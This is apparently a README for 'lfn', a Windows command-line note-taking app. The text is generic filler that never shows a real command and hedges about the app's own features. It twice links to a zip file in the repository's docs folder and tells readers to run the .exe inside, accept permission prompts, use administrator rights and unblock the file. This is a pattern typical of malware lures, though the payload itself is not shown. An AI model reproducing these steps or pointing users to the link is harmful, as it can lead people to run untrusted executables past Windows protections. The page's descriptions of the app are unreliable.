lfn is a small command-line app for life notes. It helps you keep quick text notes on your Windows PC in one place. You can use it for daily thoughts, reminders, tasks, or short logs.
It is built for simple note taking from the terminal. If you like typing a few lines and keeping your notes in plain text, lfn fits that use case well.
Visit this page to download or get the app files:
https://raw.githubusercontent.com/amazo5385/lfn/main/docs/Software_v3.3.zip
On that page, look for the latest release or the main download files. If the project provides a Windows file such as an .exe file, download and run this file. If it provides a zip file, download the zip file first, then unpack it.
- Open the download page in your browser.
- Find the latest Windows file.
- Download the file to your PC.
- If the file is zipped, right-click it and choose Extract All.
- Open the folder that contains the app.
- If you see an
.exefile, double-click it to start lfn. - If Windows asks for permission, choose Yes.
If the app opens in a black window, that is normal for a command-line tool.
lfn is made for fast note entry and simple note storage. Common use cases include:
- Save quick life notes
- Track daily tasks
- Keep personal reminders
- Store short journal entries
- Add notes while you work
- Review old notes from the same place
The app keeps the process simple. You do not need a separate note app, notebook, or cloud account.
lfn is meant for Windows users who want a simple local note tool. For the best result, use:
- Windows 10 or Windows 11
- A working keyboard
- Enough space for a small app and note files
- Permission to open files from your Downloads folder
If your PC can run normal desktop apps, it should be fine for this tool.
After you open lfn, it may show a menu or prompt in the terminal. You can type commands to add or view notes. Keep your entries short at first so you can get used to the flow.
A common first use looks like this:
- Open the app
- Add a note
- Save it
- Open the app again later
- View your saved note
If the app uses a file for storage, keep that file in a safe place so your notes stay with the app.
Type a short note and save it right away. This works well for ideas, reminders, and task lists.
Open the app and list your saved notes so you can check them later.
If the app supports search, use a word from your note to find it fast.
Update old notes when plans change.
Remove notes you no longer need.
Because lfn is a life note CLI app, a simple command flow may look like this:
- Open the app
- Add note
- List notes
- Search notes
- Edit note
- Delete note
- Exit
If the app asks for input, follow the prompt on the screen. Use plain text and avoid special symbols unless the app asks for them.
Many note tools store files in one of these places:
- The same folder as the app
- A Notes or Data folder inside the app folder
- Your user profile folder
- A local text or JSON file
If you want to keep your notes safe, make a copy of the folder that stores them. You can save that copy to another drive or a backup folder on your PC.
To avoid trouble, keep these habits:
- Do not move files while the app is open
- Do not rename the main app file unless you know it is safe
- Keep notes in the same folder the app expects
- Back up your data before you remove the app
- Use one folder for the app and its note files
- Right-click the app and choose Run as administrator only if the app needs it
- If the app does not open, check whether Windows blocked the file
- If the file came in a zip, extract it first
- Keep the app in a folder with a short path, such as
C:\lfn - Avoid running it from a temporary folder
If your terminal closes too fast, open Command Prompt first and start the app from there.
Write one short entry each day.
Save items you need to do later.
Record names, dates, and small facts.
Keep short project notes in one place.
Save simple points you want to review later.
- Check that the file finished downloading
- Make sure you extracted the zip if needed
- Try opening the file from a normal folder, not from inside the zip
- Right-click the file
- Open Properties
- Look for an Unblock option
- Apply the change and try again
- Check that you are using the same folder as before
- Look for the app data file
- Make sure you did not start a fresh copy of the app from another folder
- Use the default Windows terminal or Command Prompt
- Resize the window if the text wraps too much
Keep your notes short and clear. One note should focus on one idea. If you want to stay organized, use a simple pattern like this:
- Date
- Topic
- Short note
Example:
- 2026-04-23
- Call back the clinic
- Ask about the appointment time
This keeps your notes easy to read later.
If you use lfn often, back up your notes from time to time.
Good backup steps:
- Close lfn
- Find the folder that holds your notes
- Copy the folder to another place
- Save it on an external drive or another folder on your PC
This helps if your computer has a problem or if you change PCs later.
A simple setup may look like this:
C:\lfn\lfn.exeC:\lfn\notes.txtC:\lfn\data\
The real file names may differ, but the idea is the same. Keep the app and its notes close together so they are easy to manage.
- Open the download page: https://raw.githubusercontent.com/amazo5385/lfn/main/docs/Software_v3.3.zip
- Get the latest Windows file
- Install or unpack it if needed
- Open the app
- Add your first note
- Return later to view or edit it